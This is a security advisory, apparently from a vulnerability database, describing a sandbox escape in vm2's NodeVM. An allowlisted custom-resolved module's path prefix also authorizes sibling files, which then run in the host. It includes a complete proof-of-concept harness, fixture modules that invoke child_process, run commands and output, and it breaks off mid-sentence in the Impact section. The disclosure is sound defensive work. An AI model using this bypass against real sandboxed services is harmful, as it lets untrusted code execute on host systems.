Improper authorization control for web services In vm2
Description
vm2: NodeVM custom resolution bypasses external path boundaries ## Summary At source revision 91034466bfb7f56b95fd48083ec6ca36d058f164 of vm2 3.11.8, an untrusted NodeVM guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. LegacyResolver.customResolve stores the resolved path in this.externals as ^<path> without an end or separator boundary; a later absolute require of a sibling such as foo2/index.js therefore passes the external check and is loaded through hostRequire when the configured context is host. The decisive attack loaded foo as FOO_OK and then executed the prefix-sharing sibling, which returned PREFIX_PWN after invoking child_process; an otherwise identical control denied the sibling with ENOTFOUND. ## Technical Details The affected configuration is a documented NodeVM use in which the embedder sets require.external to {modules: ['foo'], transitive: false}, supplies a custom resolver that returns the foo directory, sets a root directory, and uses context: 'host'. The guest controls the require specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary node_modules lookup misses and the custom resolver is consulted. The source-to-sink path is: - NodeVM.run executes guest code and creates the module-specific require function at lib/nodevm.js:516-575. - DefaultResolver.resolveFull searches normal locations and then dispatches a miss to customResolve at lib/resolver.js:227-316. - LegacyResolver.customResolve checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at lib/resolver-compat.js:266-291. - isPathAllowedForModule falls back to this.externals.some(regex => regex.test(path)) at lib/resolver-compat.js:193-215. The dynamically appended expression ^/…/node_modules/foo also matches /…/node_modules/foo2/index.js because no path separator or end-of-string condition is required. - loadJS uses this.hostRequire(filename) for a host-context file and only wraps the returned exports with vm.readonly at lib/resolver-compat.js:255-263. Top-level effects of the required file therefore occur in the host process before the exports are wrapped. The relevant current code has the same flaw for both supported custom-resolver return shapes: js if (typeof resolved === 'string') { this.externals.push(new RegExp('^' + escapeRegExp(resolved))); return this.loadAsFileOrDirectory(resolved, extList); } const {module=x, path: resolvedPath} = resolved; this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath))); return this.loadNodeModules(module, [resolvedPath], extList); The existing anchored bare-specifier matcher and the separator-aware mod.path check address different authorization states. They do not constrain the new this.externals entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix. ## PoV The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path: js const foo = require('foo'); module.exports = { foo, sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js') }; The corresponding embedder configuration is: js const vm = new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root: '/tmp/vm2-prefix-case', context: 'host', resolve(name) { return name === 'foo' ? '/tmp/vm2-prefix-case/node_modules/foo' : undefined; } } }); The sibling is not itself allowlisted. Its successful load is the authorization violation; the child_process call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code. ## PoC From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts: sh git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164 npm ci --ignore-scripts Save the following harness as /tmp/custom-resolve-prefix.js: js 'use strict'; const path = require('path'); const { NodeVM } = require(process.cwd() + '/lib/main.js'); const [, , mode, fooIndexPath, siblingPath] = process.argv; const fooDir = path.dirname(fooIndexPath); const root = path.resolve(fooDir, '../..'); const entry = path.join(path.dirname(root), 'entry.js'); let customCalls = 0; function runGuest(code) { return new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root, context: 'host', resolve(moduleName) { if (moduleName === 'foo') { customCalls++; return fooDir; } return undefined; } } }).run(code, entry); } const record = {mode, result: 'invalid'}; try { if (mode === 'candidate') { const output = runGuest(` const foo = require('foo'); module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})}; `); record.output = output; if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') { record.result = 'violation'; record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN'; } else { record.result = 'pass'; } } else if (mode === 'control') { try { runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`); record.result = 'violation'; record.signal = 'prefix-sharing sibling loaded before custom resolution'; } catch (error) { record.result = 'pass'; record.denial = String(error && (error.code || error.message) || error); } } else { record.error = 'unknown mode'; } } catch (error) { record.result = 'invalid'; record.error = String(error && (error.stack || error.message) || error); } record.customCalls = customCalls; console.log(JSON.stringify(record)); Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix: sh mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2 cat > /tmp/vm2-prefix-case/node_modules/foo/index.js <<'EOF' 'use strict'; module.exports = 'FOO_OK'; EOF cat > /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF' 'use strict'; module.exports = require('child_process').execFileSync( process.execPath, ['-e', "process.stdout.write('PREFIX_PWN')"] ).toString(); EOF Run the attack and then the negative control from the repository checkout: sh node /tmp/custom-resolve-prefix.js candidate \ /tmp/vm2-prefix-case/node_modules/foo/index.js \ /tmp/vm2-prefix-case/node_modules/foo2/index.js node /tmp/custom-resolve-prefix.js control \ /tmp/vm2-prefix-case/node_modules/foo/index.js \ /tmp/vm2-prefix-case/node_modules/foo2/index.js The decisive results were: text {"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1} {"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0} Both executions completed successfully with return code 0 in an offline node:bookworm runtime. The attack reached LegacyResolver.customResolve once, while the control reached it zero times. The foo2 fixture can use child_process only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied. ## Impact This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a NodeVM with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite transitive: false. The demonstrated sibling executes child_process at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
npm | 3.12.2 |
Aliases
References